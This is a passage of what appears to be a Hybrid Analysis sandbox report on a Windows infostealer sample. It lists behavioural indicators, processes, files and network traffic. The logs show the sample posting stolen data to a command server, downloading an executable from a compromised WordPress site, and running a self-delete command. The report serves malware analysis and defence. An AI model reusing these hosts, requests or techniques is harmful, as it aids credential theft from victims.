00000000-00006328.00000002.192952.AE8D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00000372.00000000.186192.0046B000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00000372.00000000.186192.06690000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00000372.00000001.188111.0046B000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006328.00000001.191032.AE880000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$2b","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2c","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"711199755fc55ac8185e64fe03bcc07aade1d449bd30e4bf7b898436d6eb3685.bin\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"711199755fc55ac8185e64fe03bcc07aade1d449bd30e4bf7b898436d6eb3685.bin\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"711199755fc55ac8185e64fe03bcc07aade1d449bd30e4bf7b898436d6eb3685.bin\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00000372-00000C2C-1909071155\")\n Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00000372.00000000.186192.036F0000.00000004.mdmp, 00000000-00000372.00000001.188111.0371A000.00000004.mdmp, 00000000-00000372.00000002.188815.036F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"Found api reference \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinaryA\"; Source: \"00000000-00000372.00000000.186192.0046B000.00000004.mdmp, 00000000-00000372.00000000.186192.036F0000.00000004.mdmp, 00000000-00000372.00000000.186192.06690000.00000004.mdmp, 00000000-00000372.00000001.188111.0046B000.00000004.mdmp, 00000000-00000372.00000001.188111.0371A000.00000004.mdmp, 00000000-00000372.00000002.188815.036F0000.00000004.mdmp\")\n Found api reference \"CryptBinaryToStringA\" (Indicator: \"CryptBinaryToStringA\"; Source: \"00000000-00000372.00000000.186192.036F0000.00000004.mdmp, 00000000-00000372.00000001.188111.0371A000.00000004.mdmp, 00000000-00000372.00000002.188815.036F0000.00000004.mdmp\")\n Found api reference \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00000372.00000000.186192.036F0000.00000004.mdmp, 00000000-00000372.00000001.188111.0371A000.00000004.mdmp, 00000000-00000372.00000002.188815.036F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"\"\" (Indicator: \"enumchildwindows\"; Source: \"00000000-00000372.00000000.186192.036F0000.00000004.mdmp, 00000000-00000372.00000001.188111.036F0000.00000004.mdmp, 00000000-00000372.00000002.188815.036F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\" HTTP/1.1 200 OK\nConnection: Keep-Alive\nKeep-Alive: timeout=5\n max=100\nContent-Type: application/x-msdownload\nLast-Modified: Thu\n 23 Apr 2026 16:10:07 GMT\nAccept-Ranges: bytes\nContent-Length: 733440\nDate: Fri\n 24 Apr 2026 23:12:46 GMT\nServer: LiteSpeed with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000.......","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$44","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\" \"method=refresh&guid=4555FACD2AD46AE35FED1CB0893096A2\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Observed sensitive data harvesting behavior","description":"Identified stealer based malicious activity","origin":"Indicator Combinations","relevance":7,"id":"summary-46","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$69","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]}],"incidents":[{"name":"Spyware","details_count":6,"details":[{"detail":"POSTs data to a web server"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Tries to steal browser sensitive information (file access)"},{"detail":"Collects system information using POST request"},{"detail":"Found Putty/Winscp session related registry strings"},{"detail":"Found desktop apps credentials related location strings"}],"sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"Stealer/Phishing","details_count":1,"details":[{"detail":"Reads FTP client related files"}],"sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"Fingerprint","details_count":4,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"Evasive","details_count":4,"details":[{"detail":"Marks file for deletion"},{"detail":"Possibly tries to evade analysis by sleeping multiple times"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"},{"detail":"Attempts to self-delete using a delete command"}],"sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"GETs/downloads executable files from web server"}],"sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"Network","details_count":2,"details":[{"detail":"Calls an API typically used to create a HTTP or FTP session"},{"detail":"GETs executable from a web server (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 3 domains and 3 hosts"}],"sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]}]},"activity":{"stats":{"process_count":7,"spawned_processes_count":7,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":21,"imported_dlls_count":149,"dropped_files_count":0,"extracted_files_count":21,"files_written_count":17,"files_deleted_count":0,"registry_keys_created_count":4,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":4,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":4,"dns_resolutions_count":3,"contacted_urls_count":3,"http_requests_count":3},"behavior_tags":["evasive","malicious","infostealer"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"69ebf8a53470f85e1707375a","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Lazy","contacted_countries":["RUS","USA"],"submit_name":"711199755fc55ac8185e64fe03bcc07aade1d449bd30e4bf7b898436d6eb3685.bin","analysis_start_time":"2026-04-24T23:11:34+00:00","indicators_count":{"informative":215,"suspicious":76,"malicious":13},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"83.217.208.25","port":80,"protocol":"TCP","country":"Russia","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"address":"158.106.138.96","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"address":"34.196.28.60","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"address":"104.21.4.73","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]}],"dns_resolutions":[{"domain":"bsc-dataseed.bnbchain.org","address":"34.196.28.60","ttl":60,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"domain":"celebration-internet.cc","address":"104.21.4.73","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"domain":"dcdivas.com","address":"158.106.138.96","ttl":14400,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]}],"http_requests":[{"host":"83.217.208.25","host_ip":"83.217.208.25:80","url":"/c3647b9e019546539abe.php","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /c3647b9e019546539abe.php HTTP/1.1\nContent-Type: application/json\nHost: 83.217.208.25\nContent-Length: 132\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"host":"dcdivas.com","host_ip":"158.106.138.96:443","url":"/wp-includes/Text/Diff/Engine/Decred.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /wp-includes/Text/Diff/Engine/Decred.exe HTTP/1.1\nHost: dcdivas.com\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"host":"bsc-dataseed.bnbchain.org","host_ip":"34.196.28.60:443","url":"/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST / HTTP/1.1\nContent-Type: application/json\nHost: bsc-dataseed.bnbchain.org\nContent-Length: 200\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}],"processes":[{"pid":372,"ppid":0,"name":"711199755fc55ac8185e64fe03bcc07aade1d449bd30e4bf7b898436d6eb3685.bin.exe","command_line":"","sha256":"711199755fc55ac8185e64fe03bcc07aade1d449bd30e4bf7b898436d6eb3685","normalized_path":"C:\\711199755fc55ac8185e64fe03bcc07aade1d449bd30e4bf7b898436d6eb3685.bin.exe","uid":"00000000-00000372","icon":"$6a"},{"pid":5960,"ppid":372,"name":"AcroRd32.exe","command_line":"\"%TEMP%\\NdMIkcfv.pdf\"","sha256":"c43c0929e1f9b27dac07d49b0a659e83be4cdb4dfdd709eb7e37a341cd169e87","normalized_path":"%PROGRAMFILES%\\(x86)\\Adobe\\Reader 11.0\\Reader\\AcroRd32.exe","parent_uid":"00000000-00000372","uid":"00000000-00005960"},{"pid":2484,"ppid":372,"name":"chrome.exe","command_line":"","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00000372","uid":"00000000-00002484"},{"pid":1684,"ppid":372,"name":"msedge.exe","command_line":"","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00000372","uid":"00000000-00001684"},{"pid":6328,"ppid":372,"name":"uAOpuTxjPFUH.exe","command_line":"","sha256":"f82d272a52c56f65d66ac665f3074639b93b61c094d27c75e0c77b9baffe896f","normalized_path":"%LOCALAPPDATA%\\uAOpuTxjPFUH.exe","parent_uid":"00000000-00000372","uid":"00000000-00006328"},{"pid":6924,"ppid":372,"name":"cmd.exe","command_line":"/c timeout /t 5 & del /f /q \"C:\\711199755fc55ac8185e64fe03bcc07aade1d449bd30e4bf7b898436d6eb3685.bin.exe","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00000372","uid":"00000000-00006924"},{"pid":2472,"ppid":6924,"name":"timeout.exe","command_line":"timeout /t 5","sha256":"35a2d2fc8f5b0baf4dbc489acd24229c0092ff56def50aa3e0043626bc25117f","normalized_path":"%WINDIR%\\SysWOW64\\timeout.exe","parent_uid":"00000000-00006924","uid":"00000000-00002472"}],"all_imported_dlls":["winmm.dll","dxgi.dll","coml2.dll","msvcrt.dll","dnsapi.dll","ninput.dll","ksuser.dll","VxSSL64.dll","kernel.appcore.dll","nsi.dll","rmclient.dll","BIBUtils.dll","sxs.dll","KernelBase.dll","rasadhlp.dll","ACE.dll","dcomp.dll","Windows.StateRepositoryPS.dll","sechost.dll","ole32.dll","SHCore.dll","wsock32.dll","ccme_base.dll","combase.dll","cryptsp.dll","cfgmgr32.dll","DataExchange.dll","ccme_ecdrbg.dll","wbemsvc.dll","rpcrt4.dll","fltLib.dll","uxtheme.dll","cldapi.dll","aepic.dll","samcli.dll","TextInputFramework.dll","comdlg32.dll","winnsi.dll","mskeyprotect.dll","winmmbase.dll","shlwapi.dll","pcacli.dll","AGM.dll","ieframe.dll","dsound.dll","netutils.dll","mlang.dll","kernel32.dll","windows.storage.dll","urlmon.dll","sfc_os.dll","msvcp100.dll","wkscli.dll","ws2_32.dll","bcrypt.dll","winhttp.dll","BIB.dll","twinapi.appcore.dll","mpr.dll","comctl32.dll","ntdll.dll","imm32.dll","WindowsCodecs.dll","cryptnet.dll","msvcp90.dll","avrt.dll","dwmapi.dll","oleaut32.dll","netapi32.dll","mscms.dll","thumbcache.dll","psapi.dll","msimg32.dll","VxSSL32.dll","rsaenh.dll","CoreUIComponents.dll","ccme_base_non_fips.dll","shell32.dll","userenv.dll","AXE8SharedExpat.dll","wbemcomn.dll","ucrtbase.dll","ntmarta.dll","wininet.dll","ATL90.dll","version.dll","AcroRd32.dll","NPSWF32.dll","imagehlp.dll","GdiPlus.dll","bcryptprimitives.dll","advapi32.dll","AcGenral.dll","secur32.dll","iertutil.dll","crypt32.dll","wow64cpu.dll","msvcp_win.dll","propsys.dll","IPHLPAPI.DLL","devobj.dll","win32u.dll","CoolType.dll","sqlite.dll","chrome_elf.dll","CoreMessaging.dll","SensApi.dll","wow64.dll","clbcatq.dll","msasn1.dll","RstrtMgr.dll","ncrypt.dll","setupapi.dll","d3d11.dll","AXSLE.dll","msIso.dll","msvcr90.dll","msvcr100.dll","powrprof.dll","mswsock.dll","gdi32.dll","msctf.dll","msedge_elf.dll","AdobeXMP.dll","wow64win.dll","sspicli.dll","cryptbase.dll","ccme_asym.dll","ncryptsslp.dll","GROOVEEX.DLL","user32.dll","apphelp.dll","gdi32full.dll","profapi.dll","WinTypes.dll","wintrust.dll","FWPUCLNT.DLL","msacm32.dll","gpapi.dll","MMDevAPI.dll","cryptocme.dll","ccme_ecc.dll","wbemprox.dll","fastprox.dll","edputil.dll","ntasn1.dll","OnDemandConnRouteHelper.dll","dpapi.dll","schannel.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"uAOpuTxjPFUH.exe","sha256":"f82d272a52c56f65d66ac665f3074639b93b61c094d27c75e0c77b9baffe896f","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"Decred_1_.exe","sha256":"f82d272a52c56f65d66ac665f3074639b93b61c094d27c75e0c77b9baffe896f","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"addressbook.acrodata","sha256":"679e254e87bc61649324cf321e371c85579d9799eb467afb8b1389c0e8df921e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"UserCache.bin","sha256":"78d645a75cf55f3db24288f289437355b45fc2d3f8b72fea610eb76db172f460","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"0eWwfjJD.exe","sha256":"f82d272a52c56f65d66ac665f3074639b93b61c094d27c75e0c77b9baffe896f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"HXLrsBXnB3Mh","sha256":"993edfd641dabaf1b76adfca87b6e6a63b068db558ba51f1dbd9d6883af55a1d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"MAnk7ne0PzCu","sha256":"90516e526c6e80030a35b1e9365996b733ab673e1df421802c3ba27d0a0f72a0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"PadcLH50C6IV","sha256":"1da3dc6847c1990755bc940af3eed0d7fc6eca48297c9f8032fce8aeebf8c247","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"QnZg1DM85yor","sha256":"07188599dc4a02842bdc7712194b08e926dc8ce82c3080575ca04ee3329ea360","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"VCLuXCYJce8s","sha256":"b967324b7ca0ee9c970617d3d051063206b3fdf4e9d362bc6d80ec47399246d7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"knovYSbzbwQ9","sha256":"d59a48548c3342e337333e57159266fee8596e79f39fea996bf53786af1aa8fb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"odMxjjjlVisJ","sha256":"d286c7aa59052c28a12e65c92aaf67b371b4006c9606c1bb9e1e2ec12db31813","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"Annss.dat","sha256":"15d55f804e943d5a3674b46feca61895843f5b67af9a95cbf1832e3463c8eb90","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"Annssi.dat","sha256":"29d030738bb61b8740254d8cf7e5b81c8c88932a7a67a5812dc13259970d9011","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"Annssk.dat","sha256":"4b70450c249056baebf039d20b550efcf5910186a7b31b4b135cd72b2d51003b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl","sha256":"d1bb4b163fe01acc368a92b385bb0bd3a9fc2340b6d485b77a20553a713166d3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"48B76449F3D5FEFA1133AA805E420F0FCA643651.crl","sha256":"f32d5907bc2764d46200ae367c79924551b596aa51a0a67f1a1927a77bee0f71","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"A9B8213768ADC68AF64FCC6409E8BE414726687F.crl","sha256":"5a11b4fc347abfdaeb2416d376375478ed707f35a768eacc3c03393099547a68","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl","sha256":"006646f42030d990c3c08786e19b8ec683b63c011e7b2c98b1d91a12aca05dc1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"A9R8htkcq_dixkjj_4lk.tmp","sha256":"fa5fdebe80ec0ce7dc40738b4fd46a9e9b36eca6a810c523ee6ef3fd40b4179e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"A9Rn8yce9_dixkjk_4lk.tmp","sha256":"3184ca2a7ef723d242309f3770e6f60ac57e436ee3eb2b434112d0df848e5c60","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"path":"%TEMP%\\NdMIkcfv.pdf","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"path":"%ALLUSERSPROFILE%\\VCLuXCYJce8s","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"path":"%ALLUSERSPROFILE%\\odMxjjjlVisJ","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"path":"%ALLUSERSPROFILE%\\QnZg1DM85yor","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"path":"%LOCALAPPDATA%\\ow\\Adobe\\Acrobat\\11.0\\ReaderMessages","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"path":"%TEMP%\\FAP63F3.tmp","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"path":"%LOCALAPPDATA%\\ow\\Adobe\\Acrobat\\11.0\\ReaderMessages-journal","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Explorer","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"path":"%APPDATA%\\7tw1n-d8ase-5kf\\0eWwfjJD.exe","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\\\","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:372:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:372:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:372:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"Local\\SM0:372:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"Local\\SM0:372:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"SM0:372:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"SM0:372:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:372:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"SM0:6328:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"update-S-1-5-21-14297136-4737252683-2816350604-2100","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"Local\\SM0:6328:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"SM0:6328:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\update-S-1-5-21-14297136-4737252683-2816350604-2100","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6328:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6328:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6328:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69ebf8a53470f85e1707375a"}]}]}},"report_ids":{"sandbox_job_ids":["69ebf8a53470f85e1707375a"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Lazy.Generic Sample 711199755fc5… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 711199755fc5…. Malware family: Lazy.Generic. Threat score 100/100. 4/27 AV engines flagged this file. 12 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/711199755fc55ac8185e64fe03bcc07aade1d449bd30e4bf7b898436d6eb3685"}],["$","meta","4",{"property":"og:title","content":"Malicious Lazy.Generic Sample 711199755fc5… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 711199755fc5…. Malware family: Lazy.Generic. Threat score 100/100. 4/27 AV engines flagged this file. 12 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/711199755fc55ac8185e64fe03bcc07aade1d449bd30e4bf7b898436d6eb3685"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Lazy.Generic Sample 711199755fc5… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 